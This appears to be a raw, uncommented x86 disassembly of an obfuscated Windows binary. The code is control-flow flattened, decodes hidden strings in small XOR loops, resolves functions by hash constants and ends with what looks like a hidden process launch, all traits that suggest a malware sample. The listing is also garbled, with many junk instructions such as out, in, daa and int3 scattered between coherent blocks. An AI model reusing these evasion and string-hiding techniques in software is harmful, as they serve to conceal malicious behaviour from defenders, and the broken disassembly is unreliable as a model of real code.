jmp 0x418136
mov eax, dword [esi + 0x114]
mov dword [esi + 0x2fc], eax
mov al, byte [esi + 0x130]
mov byte [esi + 0x1e0], al
mov byte [esi + 0x134], 0x1d
mov byte [esi + 0x135], 0x1a
mov byte [esi + 0x136], 0x1b
mov byte [esi + 0x137], 0x18
mov eax, 4
mov byte [esi + eax + 0x134], 0
add eax, 1
cmp eax, 8
jne 0x4181e7
xor eax, eax
cmp eax, 8
jae 0x41821b
mov cl, byte [esi + eax + 0x134]
mov dl, al
add dl, 0x7b
xor dl, cl
add dl, 0x99
mov byte [esi + eax + 0x134], dl
add eax, 1
jmp 0x4181f9
mov eax, dword [esi + 0x134]
mov dword [esi + 0x320], eax
xor edi, edi
cmp edi, dword [0x4510e4]
jb 0x418233
jmp 0x41828f
mov eax, dword [0x4510e8]
cmp dword [eax + edi*8], 0x1b6183f2
sete cl
mov bl, cl
test cl, 1
jne 0x41824b
jmp 0x418283
mov eax, dword [eax + edi*8 + 4]
cmp eax, dword [esi + 0x320]
jne 0x418259
jmp 0x418283
mov ecx, dword [0x4510ec]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esi + 0x2fc]
mov dword [esp + 0xc], eax
call fcn.004414e0
add esp, 0x10
test bl, 1
je 0x41828a
jmp 0x41828f
add edi, 1
jmp 0x418229
mov eax, dword [esi + 4]
mov dword [eax], 0x4ee131fb
jmp 0x419618
mov eax, dword [esi + 0x2c]
mov eax, dword [esi + 4]
mov dword [eax], 0x15b36270
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xaaf35cc8
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x76a8d58d
jmp 0x419618
mov eax, dword [esi + 0x110]
sub esp, 4
mov dword [esp], eax
call fcn.004088f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x7e5e5b70
jmp 0x419618
out dx, eax
xchg byte [eax], cl
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401bf0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0xa6f90117
jmp 0x419618
out 0x64, al
mov ecx, 0x27d452cb
daa
cld
push ss
cli
imul ebx, dword [eax + 0x1b], 0x4468b70
mov dword [eax], 0x1206bd72
jmp 0x419618
adc cl, byte [esi]
xor bl, ah
das
fld qword [ecx]
adc al, 0x8b
mov cs, word [edx + eax]
add byte [ebx + 0x98a4c46], cl
mov byte [esi + 0x16c], cl
mov byte [eax], 0x4b
mov byte [eax + 1], 0x3f
mov ecx, 2
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x418992
mov eax, dword [esi + 0x4c]
xor ecx, ecx
cmp ecx, 8
jae 0x4189f4
mov eax, dword [0x7ae12093]
cmp bl, cl
xchg edi, eax
test al, 0x40
in al, dx
in al, 0x8b
inc esi
or byte [ebx + 0x4ec8300], cl
mov dword [esp], eax
call fcn.0043e810
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x6dae48ad
jmp 0x419618
cmc
aad 0xf6
and dword [ecx], edi
push edi
aaa
cmc
sub ebx, esp
sbb ah, byte [esi + 0x4e]
dec ecx
movsd dword es:[edi], dword [esi]
xchg dword [ebx + 0x8b2446], ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x418beb
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004088e0
add esp, 4
mov dword [esi + 0x2d4], eax
mov eax, dword [0x4510e0]
mov dword [esi + 0x2e0], eax
mov edx, dword [esi + 0x24]
mov edx, dword [edx]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 0x8c]
mov eax, dword [esi + 0x24]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov ecx, dword [esi + 0x2d4]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], eax
call dword [esi + 0x2e0]
mov eax, dword [esi + 4]
mov dword [eax], 0x9b12a8ca
jmp 0x419618
inc esi
push esp
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edi
mov eax, dword [esi + 0x2d8]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ebx
call dword [esi + 0x2e4]
mov eax, dword [esi + 4]
mov dword [eax], 0xb3690a92
jmp 0x419618
pop ebp
mov al, 0x61
jecxz 0x418d0f
rol edx, 0xa
int3
or al, byte [eax]
add byte [eax], al
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0xe
jne 0x418e92
mov eax, dword [esi + 0x5c]
xor ecx, ecx
cmp ecx, 0xe
jae 0x418ec6
mov bl, byte [eax + ecx]
mov edi, ecx
xor edi, 0x71
mov edx, ecx
shl edx, 1
and edx, 0x1c
sub edx, edi
xor dl, bl
add dl, 0x35
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x418ea3
mov ecx, dword [esi + 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00419a20
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x113aee2b
jmp 0x419618
scasb al, byte es:[edi]
add dword [ebx + 0x24], ecx
mov ecx, 0x1673aacf
jmp 0x418e8e
retf 0x4d21
mov eax, dword [esi + 4]
mov dword [eax], 0xe02e26c2
jmp 0x419618
std
daa
mov edx, dword [edx + edi*2 + 0x3b]
mov al, 0xfa
mov eax, dword [esi + 4]
mov dword [eax], 0x8cf4e2c7
jmp 0x419618
and dword [esi + ebx], edi
xchg ecx, eax
push 0xdf65ee21
lodsd eax, dword [esi]
push ds
mov bh, 0x1b
sbb eax, 0xaedeca04
ror byte [edi], cl
mov eax, dword [esi + 0x10]
sub esp, 4
mov dword [esp], eax
call fcn.00419a70
add esp, 4
mov ecx, eax
mov eax, 0x1d
cdq
idiv ecx
mov eax, edx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 1
add eax, ecx
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x418fcb
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004088e0
add esp, 4
mov dword [esi + 0x340], eax
mov edx, dword [esi + 0x278]
mov ecx, dword [esi + 0x80]
mov dl, byte [edx]
mov byte [esi + 0x1b0], dl
mov byte [ecx], 0xae
mov byte [ecx + 1], 0x8f
mov byte [ecx + 2], 0x8e
mov byte [ecx + 3], 0xb1
mov edx, 4
mov byte [ecx + edx], 0
add edx, 1
cmp edx, 6
jne 0x419007
mov eax, dword [esi + 0x80]
mov dword [esi + 0x1fc], eax
xor ecx, ecx
cmp ecx, 6
jae 0x41905e
mov eax, dword [esi + 0x1fc]
movzx ebx, byte [eax + ecx]
mov edx, ecx
add edx, 0x6e13a69d
xor edx, ebx
mov ebx, edx
shl ebx, 1
and ebx, 0xdc
mov edi, edx
xor edi, 0xee
add edi, ebx
and edx, 1
or edi, 1
add edx, edi
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x419021
mov ecx, dword [esi + 0x40]
mov edx, dword [esi + 0x27c]
mov ecx, dword [esi + 0x40]
mov dl, byte [edx]
mov byte [esi + 0x1b8], dl
mov byte [ecx], 0x90
mov byte [ecx + 1], 0x21
mov byte [ecx + 2], 0x9d
mov byte [ecx + 3], 0x23
mov byte [ecx + 4], 0x93
mov byte [ecx + 5], 0x25
mov byte [ecx + 6], 0x83
mov byte [ecx + 7], 0x27
mov byte [ecx + 8], 0x8a
mov byte [ecx + 9], 0x39
mov byte [ecx + 0xa], 0x89
mov byte [ecx + 0xb], 0x3b
mov byte [ecx + 0xc], 0x84
mov byte [ecx + 0xd], 0x3d
mov byte [ecx + 0xe], 0x9b
mov byte [ecx + 0xf], 0x3f
mov byte [ecx + 0x10], 0x8c
mov byte [ecx + 0x11], 0x31
mov byte [ecx + 0x12], 0x8e
mov byte [ecx + 0x13], 0x33
mov byte [ecx + 0x14], 0xd4
mov byte [ecx + 0x15], 0x35
mov byte [ecx + 0x16], 0xcb
mov byte [ecx + 0x17], 0x37
mov byte [ecx + 0x18], 0xad
mov byte [ecx + 0x19], 9
mov byte [ecx + 0x1a], 0x82
mov byte [ecx + 0x1b], 0xb
mov byte [ecx + 0x1c], 0xa9
mov byte [ecx + 0x1d], 0xd
mov byte [ecx + 0x1e], 0xad
mov byte [ecx + 0x1f], 0xf
mov byte [ecx + 0x20], 0xe0
mov byte [ecx + 0x21], 1
mov byte [ecx + 0x22], 0xa0
mov byte [ecx + 0x23], 3
mov byte [ecx + 0x24], 0x8d
mov byte [ecx + 0x25], 5
mov byte [ecx + 0x26], 0xb6
mov byte [ecx + 0x27], 7
mov byte [ecx + 0x28], 0xb9
mov byte [ecx + 0x29], 0x19
mov byte [ecx + 0x2a], 0xa9
mov byte [ecx + 0x2b], 0x1b
mov byte [ecx + 0x2c], 0xaf
mov byte [ecx + 0x2d], 0x1d
mov byte [ecx + 0x2e], 0xfe
mov byte [ecx + 0x2f], 0x1f
mov byte [ecx + 0x30], 0xed
mov byte [ecx + 0x31], 0x11
mov byte [ecx + 0x32], 0xb4
mov byte [ecx + 0x33], 0x13
mov byte [ecx + 0x34], 0xf4
mov byte [ecx + 0x35], 0x15
mov byte [ecx + 0x36], 0xf4
mov byte [ecx + 0x37], 0x17
mov byte [ecx + 0x38], 0xe8
mov byte [ecx + 0x39], 0xe9
mov edx, 0x3a
mov byte [ecx + edx], 0
add edx, 1
cmp edx, 0x40
jne 0x41915e
mov ecx, dword [esi + 0x40]
xor edx, edx
cmp edx, 0x40
jae 0x4191a0
movzx edi, byte [ecx + edx]
mov ebx, edx
add ebx, 0x244173c8
xor ebx, edi
mov edi, ebx
and edi, 0xe9
xor edi, 0xe9
and ebx, 0x16
sub ebx, edi
add bl, 1
mov byte [ecx + edx], bl
add edx, 1
jmp 0x41916f
sub esp, 8
mov eax, dword [esi + 0x340]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a3c0
add esp, 8
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a3c0
mov dword [esp], eax
mov eax, dword [esi + 0x1fc]
mov dword [esp + 4], eax
call fcn.0040a3c0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0x886d31ba
jmp 0x419618
mov ebp, dword [eax + 0x3b]
push edi
aaa
inc eax
sahf
mov ebx, 0x900769db
xor dword [edi], esi
inc ebx
sub cl, byte [0x8b0e1b47]
inc esi
add al, 0xc7
add dl, dh
xchg ecx, eax
mov ah, 0xa2
jmp 0x419618
dec esp
and al, 8
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call edi
mov eax, dword [esi + 4]
mov dword [eax], 0x7c9e2f58
jmp 0x419618
mov dword [0x87d48d71], eax
fnstsw word [edx + 0x24943cc3]
loopne 0x419581
leave
cmp esp, ebp
pop bp
jge 0x419503
mov edi, dword [esi + 0x2c]
xor eax, eax
mov ecx, 0x11
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x2c]
mov dword [eax], 0x44
mov eax, dword [0x4510d8]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xef6ed546
call fcn.004431d0
dec ebx
pushfd
add al, byte [eax]
add esp, 8
test eax, eax
setne cl
mov edi, dword [esi + 0x44]
mov ecx, dword [esi + 0x60]
mov edx, dword [esi + 0x2c]
xor ebx, ebx
sub esp, 0x28
mov dword [esp], 0
mov dword [esp + 4], edi
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edx
mov dword [esp + 0x24], ecx
call eax
mov eax, dword [esi + 4]
mov dword [eax], 0x4e5e2213
jmp 0x419618
jmp 0x414a64